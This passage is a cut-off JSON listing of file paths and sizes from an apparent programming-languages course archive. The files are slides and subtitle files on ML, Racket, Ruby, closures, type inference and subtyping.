8/13 - slides for Depth Subtyping (8_50).pptx", "length": 114258}, {"path": "9 - Section 7/2 - slides for Introduction to Ruby (10_08).pptx", "length": 114162}, {"path": "2 - Section 1/17 - slides for Booleans and Comparison Operations (7_00).pptx", "length": 114121}, {"path": "9 - Section 7/4 - slides-pdf for Object State (13_14).pdf", "length": 114101}, {"path": "2 - Section 1/13 - slides for Let Expressions (7_51).pptx", "length": 114085}, {"path": "10 - Section 8/9 - slides-pdf for Interfaces (7_33).pdf", "length": 113908}, {"path": "2 - Section 1/11 - slides for Introducing Lists (10_34).pptx", "length": 113834}, {"path": "7 - Section 5/20 - slides for Macros_ The Key Points (8_52).pptx", "length": 113808}, {"path": "10 - Section 8/14 - slides-pdf for Optional_ Java_C# Arrays (9_11).pdf", "length": 113767}, {"path": "7 - Section 5/6 - slides for Parentheses Matter! (Debugging Practice) (10_50).pptx", "length": 113648}, {"path": "5 - Optional_ Course Motivation/5 - slides for Optional_ Why ML, Racket, and Ruby_ (12_34).pptx", "length": 113623}, {"path": "4 - Section 3/13 - slides for Fold and More Closures (11_28).pptx", "length": 113479}, {"path": "9 - Section 7/15 - slides for Subclassing (10_11).pptx", "length": 113453}, {"path": "4 - Section 3/19 - slides for Closure Idiom_ Callbacks (8_25).pptx", "length": 113377}, {"path": "3 - Section 2/7 - slides-pdf for Useful Datatypes (11_22).pdf", "length": 113373}, {"path": "7 - Section 5/5 - slides for Syntax and Parentheses (8_36).pptx", "length": 113236}, {"path": "4 - Section 3/5 - slides for Anonymous Functions (9_17).pptx", "length": 113229}, {"path": "3 - Section 2/11 - slides for Lists and Options are Datatypes (9_10).pptx", "length": 113225}, {"path": "5 - Optional_ Course Motivation/4 - slides for Optional_ Why Functional Languages_ (11_15).pptx", "length": 113086}, {"path": "10 - Section 8/14 - slides for Optional_ Java_C# Arrays (9_11).pptx", "length": 112956}, {"path": "2 - Section 1/8 - slides-pdf for Functions Informally (7_37).pdf", "length": 112697}, {"path": "5 - Optional_ Course Motivation/1 - slides for Optional_ Course-Motivation Introduction (5_56).pptx", "length": 112679}, {"path": "4 - Section 3/24 - slides for Optional_ C Without Closures (10_56).pptx", "length": 112601}, {"path": "8 - Section 6/11 - slides for Racket Functions As \u201cMacros\u201d For Interpreted Language (9_15).pptx", "length": 112601}, {"path": "9 - Section 7/3 - slides for Classes and Objects (12_37).pptx", "length": 112552}, {"path": "3 - Section 2/3 - slides for Records (8_25).pptx", "length": 112527}, {"path": "2 - Section 1/14 - slides for Nested Functions (7_38).pptx", "length": 112489}, {"path": "6 - Section 4/8 - slides for Mutual Recursion (9_45).pptx", "length": 112471}, {"path": "9 - Section 7/4 - slides for Object State (13_14).pptx", "length": 112438}, {"path": "2 - Section 1/16 - slides for Options (9_09).pptx", "length": 112422}, {"path": "2 - Section 1/4 - slides for ML Variable Bindings and Expressions (14_32).pptx", "length": 112391}, {"path": "10 - Section 8/8 - slides-pdf for Mixins (11_52).pdf", "length": 112364}, {"path": "7 - Section 5/20 - slides-pdf for Macros_ The Key Points (8_52).pdf", "length": 112334}, {"path": "2 - Section 1/8 - slides for Functions Informally (7_37).pptx", "length": 112318}, {"path": "7 - Section 5/23 - slides-pdf for Optional_ Variables, Macros, and Hygiene (10_52).pdf", "length": 112272}, {"path": "2 - Section 1/17 - slides-pdf for Booleans and Comparison Operations (7_00).pdf", "length": 112144}, {"path": "4 - Section 3/18 - slides-pdf for Mutable References (8_07).pdf", "length": 112036}, {"path": "10 - Section 8/3 - slides-pdf for Adding Operations or Variants (11_08).pdf", "length": 112024}, {"path": "7 - Section 5/5 - slides-pdf for Syntax and Parentheses (8_36).pdf", "length": 112010}, {"path": "8 - Section 6/13 - slides for What is Static Checking_ (10_00).pptx", "length": 111970}, {"path": "8 - Section 6/15 - slides-pdf for Weak Typing (9_39).pdf", "length": 111869}, {"path": "2 - Section 1/12 - slides for List Functions (11_21).pptx", "length": 111800}, {"path": "2 - Section 1/14 - slides-pdf for Nested Functions (7_38).pdf", "length": 111749}, {"path": "7 - Section 5/13 - slides-pdf for mcons For Mutable Pairs (7_38).pdf", "length": 111739}, {"path": "7 - Section 5/16 - slides for Delay and Force (9_18).pptx", "length": 111611}, {"path": "7 - Section 5/14 - slides for Delayed Evaluation and Thunks (10_12).pptx", "length": 111604}, {"path": "3 - Section 2/15 - slides-pdf for Polymorphic and Equality Types (8_00).pdf", "length": 111469}, {"path": "8 - Section 6/8 - slides-pdf for Implementing Variables and Environments (6_29).pdf", "length": 111467}, {"path": "7 - Section 5/8 - slides for Cond (8_52).pptx", "length": 111445}, {"path": "6 - Section 4/9 - slides for Modules for Namespace Management (6_25).pptx", "length": 111347}, {"path": "2 - Section 1/7 - slides for Shadowing (6_49).pptx", "length": 111333}, {"path": "9 - Section 7/9 - slides for Duck Typing (7_28).pptx", "length": 111263}, {"path": "10 - Section 8/16 - slides-pdf for Subtyping for OOP (11_44).pdf", "length": 111235}, {"path": "9 - Section 7/17 - slides for Overriding and Dynamic Dispatch (10_56).pptx", "length": 111165}, {"path": "3 - Section 2/14 - slides for A Little Type Inference (6_28).pptx", "length": 111153}, {"path": "9 - Section 7/19 - slides for Dynamic Dispatch Versus Closures (9_38).pptx", "length": 111011}, {"path": "9 - Section 7/15 - slides-pdf for Subclassing (10_11).pdf", "length": 110946}, {"path": "8 - Section 6/18 - slides for Optional_ eval and quote (7_58).pptx", "length": 110941}, {"path": "4 - Section 3/14 - slides-pdf for Closure Idiom_ Combining Functions (9_18).pdf", "length": 110923}, {"path": "3 - Section 2/5 - slides for Datatype Bindings (8_39).pptx", "length": 110922}, {"path": "6 - Section 4/4 - slides-pdf for ML Type Inference (6_09).pdf", "length": 110877}, {"path": "8 - Section 6/14 - slides for Soundness and Completeness (9_46).pptx", "length": 110866}, {"path": "2 - Section 1/19 - slides for Optional_ Java Mutation (4_44).pptx", "length": 110797}, {"path": "7 - Section 5/18 - slides for Defining Streams (10_49).pptx", "length": 110636}, {"path": "4 - Section 3/22 - slides for Optional_ Closure Idioms Without Closures (4_48).pptx", "length": 110566}, {"path": "4 - Section 3/2 - slides for Introduction to First-Class Functions (7_50).pptx", "length": 110485}, {"path": "2 - Section 1/6 - slides for The REPL and Errors (12_10).pptx", "length": 110406}, {"path": "4 - Section 3/15 - slides-pdf for Closure Idiom_ Currying (10_32).pdf", "length": 110340}, {"path": "8 - Section 6/8 - slides for Implementing Variables and Environments (6_29).pptx", "length": 110312}, {"path": "3 - Section 2/12 - slides-pdf for Polymorphic Datatypes (8_11).pdf", "length": 110203}, {"path": "6 - Section 4/4 - slides for ML Type Inference (6_09).pptx", "length": 110185}, {"path": "7 - Section 5/18 - slides-pdf for Defining Streams (10_49).pdf", "length": 110141}, {"path": "3 - Section 2/6 - slides for Case Expressions (10_50).pptx", "length": 110047}, {"path": "3 - Section 2/8 - slides for Pattern Matching So Far (4_37).pptx", "length": 109979}, {"path": "9 - Section 7/11 - slides for Blocks (11_34).pptx", "length": 109952}, {"path": "8 - Section 6/15 - slides for Weak Typing (9_39).pptx", "length": 109894}, {"path": "9 - Section 7/13 - slides-pdf for Procs (7_08).pdf", "length": 109861}, {"path": "4 - Section 3/19 - slides-pdf for Closure Idiom_ Callbacks (8_25).pdf", "length": 109810}, {"path": "9 - Section 7/3 - slides-pdf for Classes and Objects (12_37).pdf", "length": 109660}, {"path": "8 - Section 6/7 - slides-pdf for What Your Interpreter Can and Cannot Assume (13_47).pdf", "length": 109657}, {"path": "10 - Section 8/6 - slides for Optional_ Multimethods (6_36).pptx", "length": 109555}, {"path": "8 - Section 6/10 - slides for Optional_ Are Closures Efficient_ (9_03).pptx", "length": 109550}, {"path": "9 - Section 7/13 - slides for Procs (7_08).pptx", "length": 109526}, {"path": "4 - Section 3/18 - slides for Mutable References (8_07).pptx", "length": 109495}, {"path": "8 - Section 6/9 - slides for Implementing Closures (6_32).pptx", "length": 109429}, {"path": "6 - Section 4/17 - slides-pdf for Equivalent Functions (8_41).pdf", "length": 109396}, {"path": "7 - Section 5/17 - slides for Using Streams (10_10).pptx", "length": 109379}, {"path": "6 - Section 4/16 - slides for Different Modules Define Different Types (3_32).pptx", "length": 109348}, {"path": "9 - Section 7/7 - slides for Everything is an Object (8_15).pptx", "length": 109316}, {"path": "4 - Section 3/7 - slides for Map and Filter (8_56).pptx", "length": 109227}, {"path": "7 - Section 5/2 - slides for Introduction to Racket (8_23).pptx", "length": 109212}, {"path": "4 - Section 3/21 - slides for Optional_ Abstract Data Types With Closures (11_14).pptx", "length": 109208}, {"path": "4 - Section 3/8 - slides for Generalizing Prior Topics (9_01).pptx", "length": 109137}, {"path": "6 - Section 4/15 - slides for Another Equivalent Structure (9_01).pptx", "length": 109129}, {"path": "2 - Section 1/11 - slides-pdf for Introducing Lists (10_34).pdf", "length": 109082}, {"path": "3 - Section 2/12 - slides for Polymorphic Datatypes (8_11).pptx", "length": 109060}, {"path": "6 - Section 4/11 - slides for A Module Example (11_06).pptx", "length": 109007}, {"path": "9 - Section 7/2 - slides-pdf for Introduction to Ruby (10_08).pdf", "length": 108898}, {"path": "6 - Section 4/2 - slides for Section Introduction (1_45).pptx", "length": 108839}, {"path": "10 - Section 8/6 - slides-pdf for Optional_ Multimethods (6_36).pdf", "length": 108768}, {"path": "10 - Section 8/4 - slides-pdf for Binary Methods with Functional Decomposition (7_18).pdf", "length": 108738}, {"path": "3 - Section 2/8 - slides-pdf for Pattern Matching So Far (4_37).pdf", "length": 108682}, {"path": "7 - Section 5/13 - slides for mcons For Mutable Pairs (7_38).pptx", "length": 108638}, {"path": "6 - Section 4/3 - slides for What is Type Inference (5_37).pptx", "length": 108552}, {"path": "3 - Section 2/19 - slides for Optional_ Function Patterns (3_40).pptx", "length": 108540}, {"path": "4 - Section 3/11 - slides-pdf for Why Lexical Scope (11_44).pdf", "length": 108539}, {"path": "3 - Section 2/11 - slides-pdf for Lists and Options are Datatypes (9_10).pdf", "length": 108375}, {"path": "3 - Section 2/2 - slides for Building Compound Types (5_34).pptx", "length": 108297}, {"path": "10 - Section 8/12 - slides for The Subtype Relation (8_20).pptx", "length": 108272}, {"path": "7 - Section 5/14 - slides-pdf for Delayed Evaluation and Thunks (10_12).pdf", "length": 108192}, {"path": "7 - Section 5/12 - slides-pdf for The Truth About Cons (7_46).pdf", "length": 108187}, {"path": "4 - Section 3/3 - slides for Functions as Arguments (8_40).pptx", "length": 108117}, {"path": "6 - Section 4/19 - slides for Equivalence Versus Performance (6_00).pptx", "length": 107850}, {"path": "6 - Section 4/15 - slides-pdf for Another Equivalent Structure (9_01).pdf", "length": 107806}, {"path": "7 - Section 5/19 - slides for Memoization (10_17).pptx", "length": 107787}, {"path": "7 - Section 5/10 - slides for Toplevel Bindings (4_54).pptx", "length": 107658}, {"path": "3 - Section 2/20 - slides for Exceptions (7_47).pptx", "length": 107655}, {"path": "4 - Section 3/13 - slides-pdf for Fold and More Closures (11_28).pdf", "length": 107652}, {"path": "7 - Section 5/12 - slides for The Truth About Cons (7_46).pptx", "length": 107605}, {"path": "3 - Section 2/23 - slides for Perspective on Tail Recursion (5_33).pptx", "length": 107582}, {"path": "9 - Section 7/8 - slides for Class Definitions are Dynamic (7_42).pptx", "length": 107467}, {"path": "7 - Section 5/15 - slides for Avoiding Unnecessary Computations (6_48).pptx", "length": 107425}, {"path": "4 - Section 3/20 - slides for Standard-Library Documentation (7_00).pptx", "length": 107414}, {"path": "9 - Section 7/16 - slides-pdf for Why Use Subclassing_ (7_16).pdf", "length": 107408}, {"path": "4 - Section 3/9 - slides-pdf for Lexical Scope (7_22).pdf", "length": 107314}, {"path": "6 - Section 4/18 - slides-pdf for Standard Equivalences (10_01).pdf", "length": 107217}, {"path": "3 - Section 2/16 - slides for Nested Patterns (10_32).pptx", "length": 107169}, {"path": "3 - Section 2/3 - slides-pdf for Records (8_25).pdf", "length": 107146}, {"path": "4 - Section 3/17 - slides for Currying Wrapup (6_40).pptx", "length": 107098}, {"path": "9 - Section 7/19 - slides-pdf for Dynamic Dispatch Versus Closures (9_38).pdf", "length": 107094}, {"path": "8 - Section 6/14 - slides-pdf for Soundness and Completeness (9_46).pdf", "length": 107054}, {"path": "7 - Section 5/4 - slides for Racket Lists (9_07).pptx", "length": 107053}, {"path": "9 - Section 7/11 - slides-pdf for Blocks (11_34).pdf", "length": 107008}, {"path": "4 - Section 3/12 - slides for Closures and Recomputation (6_30).pptx", "length": 106959}, {"path": "6 - Section 4/11 - slides-pdf for A Module Example (11_06).pdf", "length": 106940}, {"path": "9 - Section 7/14 - slides for Hashes and Ranges (8_59).pptx", "length": 106940}, {"path": "7 - Section 5/7 - slides for Dynamic Typing (9_36).pptx", "length": 106772}, {"path": "3 - Section 2/10 - slides for Type Synonyms (6_19).pptx", "length": 106736}, {"path": "3 - Section 2/6 - slides-pdf for Case Expressions (10_50).pdf", "length": 106727}, {"path": "4 - Section 3/24 - slides-pdf for Optional_ C Without Closures (10_56).pdf", "length": 106589}, {"path": "6 - Section 4/14 - slides for An Equivalent Structure (6_38).pptx", "length": 106438}, {"path": "3 - Section 2/4 - slides for Tuples as Syntactic Sugar (6_06).pptx", "length": 106368}, {"path": "4 - Section 3/20 - slides-pdf for Standard-Library Documentation (7_00).pdf", "length": 106327}, {"path": "4 - Section 3/10 - slides-pdf for Lexical Scope and Higher-Order Functions (7_37).pdf", "length": 106238}, {"path": "7 - Section 5/3 - slides-pdf for Racket Definitions, Functions, Conditionals (10_14).pdf", "length": 106132}, {"path": "4 - Section 3/6 - slides for Unnecessary Function Wrapping (5_05).pptx", "length": 106111}, {"path": "2 - Section 1/20 - slides for Pieces of a Language (6_02).pptx", "length": 106007}, {"path": "10 - Section 8/12 - slides-pdf for The Subtype Relation (8_20).pdf", "length": 105997}, {"path": "3 - Section 2/18 - slides for Nested Patterns Precisely (6_35).pptx", "length": 105919}, {"path": "6 - Section 4/8 - slides-pdf for Mutual Recursion (9_45).pdf", "length": 105819}, {"path": "3 - Section 2/22 - slides-pdf for Accumulators for Tail Recursion (7_39).pdf", "length": 105797}, {"path": "9 - Section 7/7 - slides-pdf for Everything is an Object (8_15).pdf", "length": 105642}, {"path": "5 - Optional_ Course Motivation/3 - slides for Optional_ Are All PLs the Same_ (6_51).pptx", "length": 105622}, {"path": "9 - Section 7/10 - slides for Arrays (11_13).pptx", "length": 105595}, {"path": "2 - Section 1/16 - slides-pdf for Options (9_09).pdf", "length": 105512}, {"path": "9 - Section 7/12 - slides for Using Blocks (6_24).pptx", "length": 105469}, {"path": "7 - Section 5/10 - slides-pdf for Toplevel Bindings (4_54).pdf", "length": 105444}, {"path": "3 - Section 2/4 - slides-pdf for Tuples as Syntactic Sugar (6_06).pdf", "length": 105341}, {"path": "2 - Section 1/7 - slides-pdf for Shadowing (6_49).pdf", "length": 105271}, {"path": "3 - Section 2/9 - slides for Another Expression Example (8_01).pptx", "length": 105168}, {"path": "9 - Section 7/9 - slides-pdf for Duck Typing (7_28).pdf", "length": 105165}, {"path": "9 - Section 7/8 - slides-pdf for Class Definitions are Dynamic (7_42).pdf", "length": 104673}, {"path": "7 - Section 5/16 - slides-pdf for Delay and Force (9_18).pdf", "length": 104340}, {"path": "8 - Section 6/10 - slides-pdf for Optional_ Are Closures Efficient_ (9_03).pdf", "length": 104317}, {"path": "6 - Section 4/13 - slides for Signature Matching (4_03).pptx", "length": 104304}, {"path": "4 - Section 3/2 - slides-pdf for Introduction to First-Class Functions (7_50).pdf", "length": 104296}, {"path": "3 - Section 2/14 - slides-pdf for A Little Type Inference (6_28).pdf", "length": 104157}, {"path": "8 - Section 6/2 - slides for Section Introduction (2_08).pptx", "length": 104117}, {"path": "7 - Section 5/24 - slides for Optional_ More Macros Examples (9_12).pptx", "length": 104076}, {"path": "9 - Section 7/6 - slides for A Longer Example (12_19).pptx", "length": 104031}, {"path": "3 - Section 2/17 - slides for More Nested Patterns (10_43).pptx", "length": 104030}, {"path": "6 - Section 4/3 - slides-pdf for What is Type Inference (5_37).pdf", "length": 103811}, {"path": "6 - Section 4/5 - slides for Type Inference Examples (10_27).pptx", "length": 103731}, {"path": "6 - Section 4/6 - slides for Polymorphic Examples (10_52).pptx", "length": 103708}, {"path": "2 - Section 1/3 - slides (pdf) for Course Introduction_ About Programming Languages (12_04).pdf", "length": 103513}, {"path": "2 - Section 1/12 - slides-pdf for List Functions (11_21).pdf", "length": 103449}, {"path": "3 - Section 2/2 - slides-pdf for Building Compound Types (5_34).pdf", "length": 103135}, {"path": "4 - Section 3/8 - slides-pdf for Generalizing Prior Topics (9_01).pdf", "length": 102428}, {"path": "7 - Section 5/2 - slides-pdf for Introduction to Racket (8_23).pdf", "length": 101299}, {"path": "4 - Section 3/5 - slides-pdf for Anonymous Functions (9_17).pdf", "length": 101203}, {"path": "6 - Section 4/14 - slides-pdf for An Equivalent Structure (6_38).pdf", "length": 101200}, {"path": "6 - Section 4/19 - slides-pdf for Equivalence Versus Performance (6_00).pdf", "length": 101020}, {"path": "2 - Section 1/6 - slides-pdf for The REPL and Errors (12_10).pdf", "length": 100867}, {"path": "4 - Section 3/4 - slides-pdf for Polymorphic Types and Functions as Arguments (7_57).pdf", "length": 100796}, {"path": "4 - Section 3/17 - slides-pdf for Currying Wrapup (6_40).pdf", "length": 100040}, {"path": "3 - Section 2/16 - slides-pdf for Nested Patterns (10_32).pdf", "length": 100009}, {"path": "9 - Section 7/14 - slides-pdf for Hashes and Ranges (8_59).pdf", "length": 99862}, {"path": "3 - Section 2/23 - slides-pdf for Perspective on Tail Recursion (5_33).pdf", "length": 99815}, {"path": "8 - Section 6/9 - slides-pdf for Implementing Closures (6_32).pdf", "length": 99510}, {"path": "3 - Section 2/10 - slides-pdf for Type Synonyms (6_19).pdf", "length": 99416}, {"path": "7 - Section 5/19 - slides-pdf for Memoization (10_17).pdf", "length": 99377}, {"path": "4 - Section 3/3 - slides-pdf for Functions as Arguments (8_40).pdf", "length": 99285}, {"path": "7 - Section 5/7 - slides-pdf for Dynamic Typing (9_36).pdf", "length": 98801}, {"path": "8 - Section 6/11 - slides-pdf for Racket Functions As \u201cMacros\u201d For Interpreted Language (9_15).pdf", "length": 98064}, {"path": "3 - Section 2/20 - slides-pdf for Exceptions (7_47).pdf", "length": 97647}, {"path": "4 - Section 3/12 - slides-pdf for Closures and Recomputation (6_30).pdf", "length": 97636}, {"path": "6 - Section 4/16 - slides-pdf for Different Modules Define Different Types (3_32).pdf", "length": 97126}, {"path": "3 - Section 2/19 - slides-pdf for Optional_ Function Patterns (3_40).pdf", "length": 96835}, {"path": "7 - Section 5/4 - slides-pdf for Racket Lists (9_07).pdf", "length": 96520}, {"path": "7 - Section 5/6 - slides-pdf for Parentheses Matter! (Debugging Practice) (10_50).pdf", "length": 96116}, {"path": "3 - Section 2/9 - slides-pdf for Another Expression Example (8_01).pdf", "length": 95843}, {"path": "7 - Section 5/15 - slides-pdf for Avoiding Unnecessary Computations (6_48).pdf", "length": 94340}, {"path": "6 - Section 4/13 - slides-pdf for Signature Matching (4_03).pdf", "length": 93715}, {"path": "9 - Section 7/10 - slides-pdf for Arrays (11_13).pdf", "length": 93270}, {"path": "3 - Section 2/18 - slides-pdf for Nested Patterns Precisely (6_35).pdf", "length": 93082}, {"path": "5 - Optional_ Course Motivation/5 - slides-pdf for Optional_ Why ML, Racket, and Ruby_ (12_34).pdf", "length": 91918}, {"path": "3 - Section 2/17 - slides-pdf for More Nested Patterns (10_43).pdf", "length": 91672}, {"path": "5 - Optional_ Course Motivation/4 - slides-pdf for Optional_ Why Functional Languages_ (11_15).pdf", "length": 91116}, {"path": "9 - Section 7/6 - slides-pdf for A Longer Example (12_19).pdf", "length": 90953}, {"path": "4 - Section 3/6 - slides-pdf for Unnecessary Function Wrapping (5_05).pdf", "length": 87926}, {"path": "7 - Section 5/24 - slides-pdf for Optional_ More Macros Examples (9_12).pdf", "length": 87279}, {"path": "2 - Section 1/20 - slides-pdf for Pieces of a Language (6_02).pdf", "length": 86002}, {"path": "4 - Section 3/21 - slides-pdf for Optional_ Abstract Data Types With Closures (11_14).pdf", "length": 81063}, {"path": "6 - Section 4/2 - slides-pdf for Section Introduction (1_45).pdf", "length": 80635}, {"path": "6 - Section 4/6 - slides-pdf for Polymorphic Examples (10_52).pdf", "length": 78257}, {"path": "5 - Optional_ Course Motivation/2 - slides-pdf for Optional_ Why Study General PL Concepts_ (10_30).pdf", "length": 77512}, {"path": "6 - Section 4/5 - slides-pdf for Type Inference Examples (10_27).pdf", "length": 77388}, {"path": "5 - Optional_ Course Motivation/1 - slides-pdf for Optional_ Course-Motivation Introduction (5_56).pdf", "length": 75030}, {"path": "5 - Optional_ Course Motivation/3 - slides-pdf for Optional_ Are All PLs the Same_ (6_51).pdf", "length": 69916}, {"path": "9 - Section 7/20 - Subtitles (srt) for Optional_ Dynamic Dispatch Manually in Racket (15_56).srt", "length": 22478}, {"path": "10 - Section 8/5 - Subtitles (srt) for Double Dispatch (14_46).srt", "length": 21322}, {"path": "8 - Section 6/17 - Subtitles (srt) for Static Versus Dynamic Typing, Part Two (13_47).srt", "length": 20830}, {"path": "2 - Section 1/2 - Subtitles (srt) for Course Introduction_ About the Course (12_34).srt", "length": 20402}, {"path": "3 - Section 2/13 - Subtitles (srt) for Each of Pattern Matching _ Truth About Functions (14_30).srt", "length": 19767}, {"path": "8 - Section 6/7 - Subtitles (srt) for What Your Interpreter Can and Cannot Assume (13_47).srt", "length": 19285}, {"path": "2 - Section 1/4 - Subtitles (srt) for ML Variable Bindings and Expressions (14_32).srt", "length": 18868}, {"path": "10 - Section 8/2 - Subtitles (srt) for OOP Versus Functional Decomposition (12_51).srt", "length": 18800}, {"path": "8 - Section 6/3 - Subtitles (srt) for Datatype-Programming in Racket Without Structs (13_21).srt", "length": 18664}, {"path": "5 - Optional_ Course Motivation/5 - Subtitles (srt) for Optional_ Why ML, Racket, and Ruby_ (12_34)", "length": 18512}, {"path": "9 - Section 7/4 - Subtitles (srt) for Object State (13_14).srt", "length": 17977}, {"path": "2 - Section 1/3 - Subtitles (srt) for Course Introduction_ About Programming Languages (12_04).srt", "length": 17830}, {"path": "7 - Section 5/9 - Subtitles (srt) for Local Bindings (13_11).srt", "length": 17701}, {"path": "9 - Section 7/3 - Subtitles (srt) for Classes and Objects (12_37).srt", "length": 17625}, {"path": "9 - Section 7/6 - Subtitles (srt) for A Longer Example (12_19).srt", "length": 17610}, {"path": "2 - Section 1/6 - Subtitles (srt) for The REPL and Errors (12_10).srt", "length": 17420}, {"path": "10 - Section 8/8 - Subtitles (srt) for Mixins (11_52).srt", "length": 17361}, {"path": "10 - Section 8/16 - Subtitles (srt) for Subtyping for OOP (11_44).srt", "length": 16983}, {"path": "10 - Section 8/3 - Subtitles (srt) for Adding Operations or Variants (11_08).srt", "length": 16895}, {"path": "9 - Section 7/11 - Subtitles (srt) for Blocks (11_34).srt", "length": 16744}, {"path": "5 - Optional_ Course Motivation/4 - Subtitles (srt) for Optional_ Why Functional Languages_ (11_15)", "length": 16382}, {"path": "4 - Section 3/23 - Subtitles (srt) for Optional_ Java Without Closures (12_08).srt", "length": 16342}, {"path": "9 - Section 7/18 - Subtitles (srt) for Method-Lookup Rules, Precisely (11_31).srt", "length": 16222}, {"path": "9 - Section 7/10 - Subtitles (srt) for Arrays (11_13).srt", "length": 16198}, {"path": "11 - Course Wrapup/2 - Subtitles (srt) for Optional_ MOOC Wrapup (9_39).srt", "length": 16177}, {"path": "9 - Section 7/2 - Subtitles (srt) for Introduction to Ruby (10_08).srt", "length": 16042}, {"path": "3 - Section 2/7 - Subtitles (srt) for Useful Datatypes (11_22).srt", "length": 15881}, {"path": "4 - Section 3/21 - Subtitles (srt) for Optional_ Abstract Data Types With Closures (11_14).srt", "length": 15727}, {"path": "4 - Section 3/11 - Subtitles (srt) for Why Lexical Scope (11_44).srt", "length": 15648}, {"path": "11 - Course Wrapup/1 - Subtitles (srt) for Optional_ Course Content Wrapup (9_43).srt", "length": 15541}, {"path": "9 - Section 7/17 - Subtitles (srt) for Overriding and Dynamic Dispatch (10_56).srt", "length": 15250}, {"path": "4 - Section 3/24 - Subtitles (srt) for Optional_ C Without Closures (10_56).srt", "length": 15222}, {"path": "8 - Section 6/6 - Subtitles (srt) for Implementing Programming Languages (10_07).srt", "length": 15145}, {"path": "10 - Section 8/7 - Subtitles (srt) for Multiple Inheritance (10_18).srt", "length": 15108}, {"path": "8 - Section 6/13 - Subtitles (srt) for What is Static Checking_ (10_00)", "length": 15097}, {"path": "6 - Section 4/11 - Subtitles (srt) for A Module Example (11_06).srt", "length": 15034}, {"path": "10 - Section 8/15 - Subtitles (srt) for Function Subtyping (11_17).srt", "length": 14968}, {"path": "6 - Section 4/12 - Subtitles (srt) for Signatures for Our Example (11_03).srt", "length": 14954}, {"path": "2 - Section 1/12 - Subtitles (srt) for List Functions (11_21).srt", "length": 14858}, {"path": "9 - Section 7/20 - Subtitles (text) for Optional_ Dynamic Dispatch Manually in Racket (15_56).txt", "length": 14817}, {"path": "4 - Section 3/13 - Subtitles (srt) for Fold and More Closures (11_28).srt", "length": 14811}, {"path": "10 - Section 8/11 - Subtitles (srt) for Subtyping From the Beginning (10_43).srt", "length": 14760}, {"path": "5 - Optional_ Course Motivation/2 - Subtitles (srt) for Optional_ Why Study General PL Concepts_ (10_30)", "length": 14750}, {"path": "3 - Section 2/6 - Subtitles (srt) for Case Expressions (10_50).srt", "length": 14644}, {"path": "7 - Section 5/23 - Subtitles (srt) for Optional_ Variables, Macros, and Hygiene (10_52).srt", "length": 14391}, {"path": "2 - Section 1/11 - Subtitles (srt) for Introducing Lists (10_34).srt", "length": 14323}, {"path": "2 - Section 1/2 - Subtitles (text) for Course Introduction_ About the Course (12_34).txt", "length": 14281}, {"path": "8 - Section 6/15 - Subtitles (srt) for Weak Typing (9_39).srt", "length": 14278}, {"path": "8 - Section 6/16 - Subtitles (srt) for Static Versus Dynamic Typing, Part One (9_40).srt", "length": 14249}, {"path": "9 - Section 7/15 - Subtitles (srt) for Subclassing (10_11).srt", "length": 14158}, {"path": "3 - Section 2/17 - Subtitles (srt) for More Nested Patterns (10_43).srt", "length": 14127}, {"path": "6 - Section 4/7 - Subtitles (srt) for Optional_ The Value Restriction and Other Type-Inference Challenges (9_53).srt", "length": 14035}, {"path": "3 - Section 2/16 - Subtitles (srt) for Nested Patterns (10_32).srt", "length": 13990}, {"path": "8 - Section 6/17 - Subtitles (text) for Static Versus Dynamic Typing, Part Two (13_47).txt", "length": 13869}, {"path": "7 - Section 5/6 - Subtitles (srt) for Parentheses Matter! (Debugging Practice) (10_50).srt", "length": 13862}, {"path": "3 - Section 2/13 - Subtitles (text) for Each of Pattern Matching _ Truth About Functions (14_30).txt", "length": 13821}, {"path": "10 - Section 8/5 - Subtitles (text) for Double Dispatch (14_46).txt", "length": 13766}, {"path": "7 - Section 5/19 - Subtitles (srt) for Memoization (10_17).srt", "length": 13750}, {"path": "8 - Section 6/12 - Subtitles (srt) for ML Versus Racket (8_53).srt", "length": 13709}, {"path": "6 - Section 4/8 - Subtitles (srt) for Mutual Recursion (9_45).srt", "length": 13668}, {"path": "8 - Section 6/14 - Subtitles (srt) for Soundness and Completeness (9_46).srt", "length": 13497}, {"path": "4 - Section 3/15 - Subtitles (srt) for Closure Idiom_ Currying (10_32).srt", "length": 13464}, {"path": "2 - Section 1/15 - Subtitles (srt) for Let and Efficiency (10_10).srt", "length": 13453}, {"path": "3 - Section 2/21 - Subtitles (srt) for Tail Recursion (9_44).srt", "length": 13304}, {"path": "6 - Section 4/5 - Subtitles (srt) for Type Inference Examples (10_27).srt", "length": 13244}, {"path": "2 - Section 1/4 - Subtitles (text) for ML Variable Bindings and Expressions (14_32).txt", "length": 13237}, {"path": "7 - Section 5/3 - Subtitles (srt) for Racket Definitions, Functions, Conditionals (10_14).srt", "length": 13149}, {"path": "10 - Section 8/14 - Subtitles (srt) for Optional_ Java_C# Arrays (9_11).srt", "length": 13099}, {"path": "8 - Section 6/3 - Subtitles (text) for Datatype-Programming in Racket Without Structs (13_21).txt", "length": 13068}, {"path": "8 - Section 6/10 - Subtitles (srt) for Optional_ Are Closures Efficient_ (9_03)", "length": 13051}, {"path": "6 - Section 4/18 - Subtitles (srt) for Standard Equivalences (10_01).srt", "length": 13037}, {"path": "7 - Section 5/18 - Subtitles (srt) for Defining Streams (10_49).srt", "length": 13024}, {"path": "3 - Section 2/11 - Subtitles (srt) for Lists and Options are Datatypes (9_10).srt", "length": 12989}, {"path": "5 - Optional_ Course Motivation/5 - Subtitles (text) for Optional_ Why ML, Racket, and Ruby_ (12_34)", "length": 12916}, {"path": "9 - Section 7/19 - Subtitles (srt) for Dynamic Dispatch Versus Closures (9_38).srt", "length": 12850}, {"path": "7 - Section 5/7 - Subtitles (srt) for Dynamic Typing (9_36).srt", "length": 12835}, {"path": "4 - Section 3/16 - Subtitles (srt) for Partial Application (9_41).srt", "length": 12812}, {"path": "7 - Section 5/17 - Subtitles (srt) for Using Streams (10_10).srt", "length": 12801}, {"path": "8 - Section 6/7 - Subtitles (text) for What Your Interpreter Can and Cannot Assume (13_47).txt", "length": 12779}, {"path": "6 - Section 4/6 - Subtitles (srt) for Polymorphic Examples (10_52).srt", "length": 12728}, {"path": "7 - Section 5/14 - Subtitles (srt) for Delayed Evaluation and Thunks (10_12).srt", "length": 12696}, {"path": "10 - Section 8/2 - Subtitles (text) for OOP Versus Functional Decomposition (12_51).txt", "length": 12574}, {"path": "2 - Section 1/5 - Subtitles (srt) for Rules for Expressions (9_13).srt", "length": 12523}, {"path": "9 - Section 7/14 - Subtitles (srt) for Hashes and Ranges (8_59).srt", "length": 12514}, {"path": "2 - Section 1/3 - Subtitles (text) for Course Introduction_ 